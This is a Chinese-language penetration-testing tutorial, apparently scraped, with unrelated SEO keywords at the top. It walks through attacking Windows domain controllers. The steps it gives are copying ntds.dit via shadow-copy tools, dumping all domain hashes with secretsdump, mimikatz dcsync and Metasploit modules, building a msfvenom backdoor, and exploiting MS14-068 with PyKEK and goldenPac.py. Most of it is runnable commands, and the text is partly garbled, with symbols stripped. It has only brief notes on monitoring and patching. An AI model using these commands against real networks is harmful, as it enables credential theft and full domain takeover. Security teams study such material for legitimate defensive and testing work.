装修网网站建设wordpress主题订单系统

装修网网站建设,wordpress主题订单系统,页面结构和页面设计,精美网站设计欣赏免责声明本号所发布的文章及工具只限交流学习#xff0c;本人不承担任何责任#xff01;一、前言 在本篇文章中我将继续为大家介绍一些攻击域控制器时常用的一些方法#xff0c;为了方便演示#xff0c;我是直接在目标域控制器下进行一系列操作的#xff0c;在真实环境下本人不承担任何责任一、前言在本篇文章中我将继续为大家介绍一些攻击域控制器时常用的一些方法为了方便演示我是直接在目标域控制器下进行一系列操作的在真实环境下大家需要通过 MSF、CS 等内网渗透工具获取目标主机权限时才可以执行后续操作。二、域控制器攻击在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件活动目录始终访问这个文件所以文件被禁止读取)。使用Windows本地卷影拷贝服务就可以获得文件的副本。2.1 通过卷影拷贝服务提取ntds.dit在活动目录中所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含但不限于用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样是被Windows操作系统锁定的。2.1.1 通过ntdsutil.exe 提取 ntds.ditntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导( DCPromo.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上可以在域控制器上直接操作也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有Windows Server 2003、Windows Server 2008、Windows Server 2012。1、创建快照命令如下。ntdsutil snapshot activate instance ntds create quit quit可以看到这里会创建一个GUID为e48cb66b-7d5e-4e2d-acb7-cf16ae409d16的快照。2、挂载快照命令如下。ntdsutil snapshot mount {GUID} quit quit 其中GUID的值为刚刚创建的快照的GUID可以看到快照被加载到了C:\目录下。3、拷贝快照命令如下。copy C:\$SNAP_202106111326_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit该命令用于将C:\\windows\ntds\ntds.dit复制到本地的c:\windows\temp\ntds.dit下。4、卸载删除快照命令如下。ntdsutil snapshot unmount {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16} delete {e48cb66b-7d5e-4e2d-acb7-cf16ae409d16} quit quit其中的e48cb66b-7d5e-4e2d-acb7-cf16ae409d16为最开始创建的快照的GUID的值。5、查看快照命令如下。ntdsutil snapshot List All quit quit可以看到找不到快照了说明快照已经成功卸载删除了。2.1.2 通过vssadmin提取ntds.ditvssadminn是Windows Server 2008及 Windows 7提供的VSS管理工具可用于创建和删除卷影拷贝、列出卷影拷贝的信息只能管理系统Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序( writers )和提供程序( providers )以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。1、创建一个C盘的卷影拷贝命令如下。vssadmin create shadow /forc:2、将创建的卷影拷贝中的ntds.dit复制出来命令如下。copy 卷影副本卷名\windows\ntds\ntds.dit c:\ntds.dit打开c盘可以看到ntds.dit成功创建。3、删除卷影命令如下。vssadmin delete shadows /forc: /quiet2.1.3 利用vssown.vbs 脚本提取ntds.ditvssown.vbs脚本的功能和vssadmin类似。vssown.vbs脚本是由Tim Tomes 开发的可用于创建和删除卷影拷贝以及启动和停止卷影拷贝服务。下载地址https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs1、启动卷影拷贝服务命令如下。cscript vssown.vbs /start2、创建一个C盘的卷影拷贝命令如下。cscript vssown.vbs /create c3、列出当前的卷影拷贝命令如下。cscript vssown.vbs /list4、将ntds.dit复制出来命令如下。copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.ditdir c:\ | findstr “ntds”该命令可以查看ntds.dit文件是否成功复制。5、删除卷影拷贝命令如下。cscript vssown.vbs /delete {198D6716-2CC7-4AED-A011-4007EC8D0A7B}{198D6716-2CC7-4AED-A011-4007EC8D0A7B}是卷影的ID可以通过cscript vssown.vbs /list 进行查看。2.1.4 使用 ntdsutil 的 IFM卷影拷贝除了按照前面介绍的方法通过执行命令来提取ntds.dit也可以使用创建一个IFM 的方式获取ntds.dit。在使用ntdsutil创建IFM时需要进行生成快照、加载、将ntds.dit 和计算机的SAM文件复制到目标文件夹中等操作。在域控制器中以管理员模式打开命令行环境输入如下命令。ntdsutil ac i ntds ifm create full c:/test q q运行该命令会在c盘下创建一个test文件夹里面存放着ntds.ditSYSTEM和SECURITY。也可以直接导入nishang中的Copy-VSS.ps1脚本命令如下。Import-Module .\Copy-VSS.ps1 Copy-VSS通过该脚本可以将SAM、SYSTEM、ntds.dit复制到与该脚本相同的目录中。2.1.5 使用diskshadow导出ntds.ditdiskshadow.exe这款工具可以使用卷影拷贝服务VSS)所提供的多个功能。在默认配置下diskshadow.exe使用了一种交互式命令解释器Windows Server 2008、Windows Server 2012和 Windows Server 2016都默认包含diskshadow所以diskshadow 也可以用来操作卷影拷贝服务并导出ntds.dit。diskshadow有交互和非交互两种模式。在使用交互模式时需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式都可以使用exec调取一个脚本文件来执行相关命令。我们可以使用 diskshadow.exe 来执行计算器。1、通过echo创建文件echo exec c:\windows\system32\calc.exe c:\command.txt2、使用diskshadow.exe执行创建的文件。diskshadow.exe /c c:\command.txt可以看到计算器成功弹出命令成功执行。现在我们来用diskshadow.exe 导出ntds.dit命令如下。//设置卷影拷贝setcontext persistent nowriters //添加卷addvolume c:aliassomeAlias //创建快照 create //分配虚拟磁盘盘符 expose %someAlias% k: //将ntds.dit复制到c盘中execcmd.exe/c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit //删除所有快照 delete shadows all //列出系统中的卷影拷贝 list shadows all //重置 reset //退出exit在使用diskshadow.exe进行导出ntds.dit 的操作时必须将当前域控制器执行Shell的路径切换到C:\windows\system32\否则会发错误。路径切换后使用diskshadow.exe加载command.txt即可。可以看到ntds.dit文件已经成功导出了。2.1.6 监控卷影拷贝服务的使用情况通过监控卷影拷贝服务的使用情况可以及时发现攻击者在系统中进行的一些恶意操作。●监控卷影拷贝服务及任何涉及活动目录数据库文件( ntds.dit )的可疑操作行为。●监控 System Event ID 7036卷影拷贝服务进入运行状态的标志的可疑实例以及创建vssvc.exe进程的事件。●监控创建diskshadow.exe及相关子进程的事件。●监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要在 Windows操作系统中不应该出现diskshadow.exe。如果发现应立刻将其删除。●通过日志监控新出现的逻辑驱动器映射事件。2.2 导出 ntds.dit 中的散列值2.2.1 使用 esedbexport 恢复1、导出ntds.dit首先下载libesedb下载地址https://github.com/libyal/libesedb/releases/tag/20210424安装依赖环境命令如下。apt-get install autoconf automake autopoint libtool pkg-config依次输入如下命令对 libesedb 进行编译和安装。./configure make sudo make install sudo ldconfig安装完成后会在系统的 /usr/local/bin 目录下看到 esedbexport 程序。将刚刚导出的ntds.dit文件放入文件夹中输入如下命令提取表信息。esedbexport -m tables ntds.dit如果提取成功的话会在当前目录下生成一个ntds.dit.export文件夹。我们只需要其中的datatable和link_table即可。2、导出散列值在ubuntu命令行输入如下命令下载ntdsxtract。git clone https://github.com/csababarta/ntdsxtract.git继续输入如下命令安装ntdsxtract。python setup.py build python setup.py install将导出的ntds.dit 和 SYSTEM 文件一同放入ntdsxtract文件夹中输入如下命令。dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user.txt打开 all_user.txt 文件夹即可查看域内的所有用户名及散列值。也可以执行如下命令导出域内所有计算机的信息导出文件的格式是CSV。dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 computer_output --csvoutfile all_computers.csv可以看到域内所有计算机的信息被成功导出。2.2.2 使用impacket 工具包导出散列值1、在ubuntu命令行中输入如下命令下载impacket 工具包。git clone https://github.com/SecureAuthCorp/impacket.git2、输入如下命令安装impacket工具包。python setup.py install3、将导出的ntds.dit 和 SYSTEM 文件一同放入impacket的example文件夹下然后输入如下命令。python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL4、也可以直接通过用户名和散列值进行验证从远程域控制器中读取ntds.dit并转储域散列值命令如下。python3 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:6ab6364d6ba0c8556df9ee189342402d -just-dc hacker.testlab/administrator1.1.1.22.3 利用dcsync获取域散列值2.3.1 使用 mimikatz 转储与散列值mimikatz有一个dcsync功能可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。但必须使用域管理员权限运行mimikatz才可以读取ntds.dit。在域内的任意一台计算机中以域管理员权限打开命令行环境运行 mimikatz。输入如下命令使用mimikatz导出域内的所有用户名及散列值。lsadump::dcsync /domain:hacker.testlab /all /csv使用mimikatz的dcsync功能也可以导出指定用户的散列值。执行如下命令可以直接导出域用户testuser的散列值。lsadump::dcsync /domain:hacker.testlab /user:testuser也可以直接在域控制器中运行mimikatz通过转储lsass.exe进程对散列值进行Dump操作命令如下。privilege::debug lsadump::lsa /inject如果不执行privilege::debug会导致权限不足、读取失败。如果用户数量太多我们也可以将结果导出到txt文件下进行查看。mimikatz.exe privilege::debug lsadump::lsa /inject结果如下可以看到域内的所有账号和散列都被导出来了。2.3.2 使用dcsync获取域账号和域散列值Invoke-DCSyne.ps1可以利用dcsyne直接读取ntds.dit,以获取域账号和域散列值其下载地址What more could you want? · GitHub。输入如下命令获取域账号和散列值。Set-ExecutionPolicy Restricted Import-Module .\Invoke-DCSync.ps1 Invoke-DCSync -PWDumpFormat (-PWDumpFormat参数用于对输出的内容进行格式化)2.3.3 使用 Metasploit 获取域散列值1、进入metasploit环境输入如下命令查看可以使用的模块。search ntds这里列出一些可能会使用到的模块。post/windows/gather/ntds_location 该模块可查看路径ntds post/windows/gather/smart_hashdump 在线导出域账户hash 建议2012及以上使用auxiliary/admin/smb/psexec_ntdsgrab 利用域管账户导出ntds必要文件到本地 post/windows/gather/ntds_grabber 利用powershell将ntds必要文件下载到本地后导出post/windows/gather/credentials/domain_hashdump介绍其方法2、获取一个meterpreter通道首先通过msfvenom生成后门木马命令如下。msfvenom -p windows/meterpreter/bind_tcp lhost192.168.0.105 lport7777 -f exe cc.exe在本地开启监听。use exploit/multi/handler set payload windows/meterpreter/bind_tcp set RHOST 10.10.10.149 set LPORT 7777 run将后门木马上传到目标机器上并执行即可得到meterpreter通道。通过ps查看进程使用migrate 将会话迁移到64位的进程中。3、使用模块获取域散列值1.查看ntds安装路径命令如下。run windows/gather/ntds_location2.通过smart_hashdump查看域内散列值命令如下。run windows/gather/smart_hashdump3.利用powershell下载ntds.dit命令如下。use post/windows/gather/ntds_grabber set session 5 run将生成的文件复制到root根目录进行查看。查看生成的文件可以看到ntds.dit 和 SYSTEM 文件被成功导出了后面就可以使用工具将散列值导出。4.利用域管账户导出ntds必要文件到本地命令如下。use auxiliary/admin/smb/psexec_ntdsgrab show options set RHOSTS 10.10.10.149 set SMBDomain hackbox set SMBUser administrator set SMBPass XXXXXX run运行后即可得到ntds.dit文件通过工具进行导出散列即可。2.3.4 使用vsshadow.exe 和 QuarkPwDump.exe 导出域账号和散列值在正常的域环境中ntds.dit文件里包含大量的信息体积较大不方便保存到本地。如果域控制器上没有安装杀毒软件攻击者就能直接进入域控制器导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。工具准备QuarksPwDump可以快速、安全、全面地读取全部域账号和域散列值。下载地址https://github.com/redcanari/quarkspwdump/releases/download/0.3a/QuarksPwDump-0.3a.zipShadowCopy.bat 使用微软的卷影拷贝技术能够复制被锁定的文件及被其他程序打开的文件代码如下。setlocalifNOT%CALLBACK_SCRIPT%goto :IS_CALLBACKsetSOURCE_DRIVE_LETTER%SystemDrive%setSOURCE_RELATIVE_PATHwindows\ntds\ntds.ditsetDESTINATION_PATH%~dp0 echo...Determine the scripts to be executed/generated...setCALLBACK_SCRIPT%~dpnx0setTEMP_GENERATED_SCRIPTGeneratedVarsTempScript.cmd echo...Creating the shadow copy...%~dp0vshadow.exe-script%TEMP_GENERATED_SCRIPT% -exec%CALLBACK_SCRIPT%%SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% goto :EOF :IS_CALLBACK setlocal echo...Obtaining the shadow copy device name... call %TEMP_GENERATED_SCRIPT% echo...Copying from the shadow copy to the destination path... copy%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%%DESTINATION_PATH% reg save hklm\system system.hivevshadow.exe是从 Windows SDK中提取出来的。将这三个文件放入同一个文件夹中。运行ShadowCopy.bat 批处理文件。可以发现成功导出了 ntds.dit 和 system.hive 文件。运行如下命令修复复制出来的数据库。esentutl /p /o ntds.dit最后通过QuarksPwDump.exe导出域账号和散列值命令如下。QuarksPwDump.exe -dhb -sf system.hive -nt ntds.dit -o log.txt可以看到域账号和散列成功被导出。2.4 Kerberos 域用户提权漏洞分析域防范2.4.1 漏洞概述微软在2014年11月18日发布了一个紧急补丁修复了Kerberos域用户提权漏洞MS14-068;CVE-2014-6324)。所有Windows服务器操作系统都会受该漏洞的影响包括Windows Server2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012和 Windows Server 2012R2。该漏洞可导致活动目录整体权限控制受到影响允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲如果攻击者获取了域内任何一台计算机的Shell权限同时知道任意域用户的用户名、SID、密码即可获得域管理员权限进而控制域控制器最终获得域权限。这个漏洞产生的原因是:用户在向Kerberos密钥分发中心(KDC)申请TGT(由票据授权服务产生的身份凭证)时可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限而KDC在处理该票据时未验证票据的签名那么返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDCKDC的TGS票据授权服务在验证TGT后将服务票据(Service Ticket )发送给该用户而该用户拥有访问该服务的权限从而使攻击者可以访问域内的资源。2.4.2 测试环境●域0day.org●域账号0day\jerry/Admin12345●域SIDS-1-5-21-1812960810-2335050734-3517558805-1128●域控制器OWA2010SP3.0day.org●Kali Linux 机器的IP地址192.168.3.128●域机器的IP地址192.168.3.71●域控制器的IP地址192.168.3.1422.4.3 PyHEK 工具包PyKEK ( Python Kerberos Exploitation Kit) 是一个利用Kerberos 协议进行渗透测试的工具包使用PyKEK 可以生成一张高权限的服务票据并通过mimikatz将服务票据注入内存。PyKEK只需要系统中配置Python 2.7环境就可以运行。使用PyKEK可以将Python文件转换为可执行文件在没有配置Python环境的操作系统中也可以执行此操作)。下载地址GitHub - mubix/pykek: Kerberos Exploitation Kit1.工具说明:ms14-068.py是PyKEK工具包中的MS14-068漏洞利用脚本。参数解释如下-u \\:用户名域名。-s \:用户SID。-d \:域控制器地址。-p \:明文密码。–rc4 \:在没有明文密码的情况下通过NTLM Hash登录。2.查看域控制器的补丁安装情况。微软针对MS14-068 ( CVE-2014-6324漏洞提供的补丁为KB3011780。输入命令”wmic qfe get hotfixid”未发现该补丁。也可以通过systeminfo命令查看补丁安装情况。3.查看用户的SID在域内主机中输入如下命令可以查到该用户的SID。whoami /user也可以通过 “wmic useraccount get name,sid”获取域内用户的SID。4.生成高权限票据使用PyKEK 生成高权限票据的命令命令如下。python ms14-068.py -u jerry0day.org -s S-1-5-21-1812960810-2335050734-3517558805-1128 -d 192.168.3.142 -p Admin123455、查看注入前的权限。先通过dir\\dc\c$ 命令尝试访问C盘下的目录发现权限不够。6.清理内存中的所有票据。通过mimikatz清理票据命令如下。kerberos::purge7.将高权限票据注入内存命令如下。kerberos::ptc TGT_jerry0day.org.ccache8.验证权限连接IP地址的操作可能会失败如果失败则使用机器名进行连接即可。2.4.4 在Metasploit 中测试1、打开metasploit执行如下命令使用MS14-068漏洞的利用脚本。use auxiliary/admin/kerberos/ms14_068_kerberos_checksum2、配置参数并执行。通过show options查看需要配置的参数通过set进行配置。在配置完参数后通过run执行。会在/root/.msf4/生成文件loot/20210614001845_default_10.10.10.149_windows.kerberos_948359.bin3、票据格式转换因为metasploit不支持bin文件的导入所以要使用mimikatz进行格式转换。在mimikate中输入如下命令导出kirbi格式的文件。kerberos::clist 20210614001845_default_10.10.10.149_windows.kerberos_948359.bin /export也可以通过KrbCredExport.py 进行格式转换命令如下。python KrbCredExport.py 20210614001845_default_10.10.10.149_windows.kerberos_948359.bin user.ticket4、导入生成的票据文件将生成的票据文件导入 metasploit 中即可命令如下。load kiwi kerberos_ticket_use /tmp/0-00000000-testuserkrbtgt-C1AY.TESTLAB.kirbi但是导入不成功具体原因不知。也可以通过impacket中的goldenpac.py进行利用格式如下。python goldenPac.py 域名/域成员用户:域成员用户密码域控制器地址Kali中默认不包含Kerberos 客户端因此需要单独安装命令如下。apt-get install krb5-user -y然后输入如下命令获取域控制的shell。python goldenPac.py c1ay.testlab/testuser:c1ay666.dc.c1ay.testlabgoldenPac.py是通过PsExec获得Shell 的会产生大量的日志加之PsExec已经被很多反病毒厂商列为危险文件所以在日常网络维护中我们很容易就能发现攻击者使用goldenPac.py实现的恶意行为。2.4.5 防范建议针对Kerberos域用户提权漏洞有如下防范建议。●开启Windows Update功能,进行自动更新。●手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁。●对域内账号进行控制禁止使用弱口令及时、定期修改密码。●在服务器上安装反病毒软件及时更新病毒库。网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取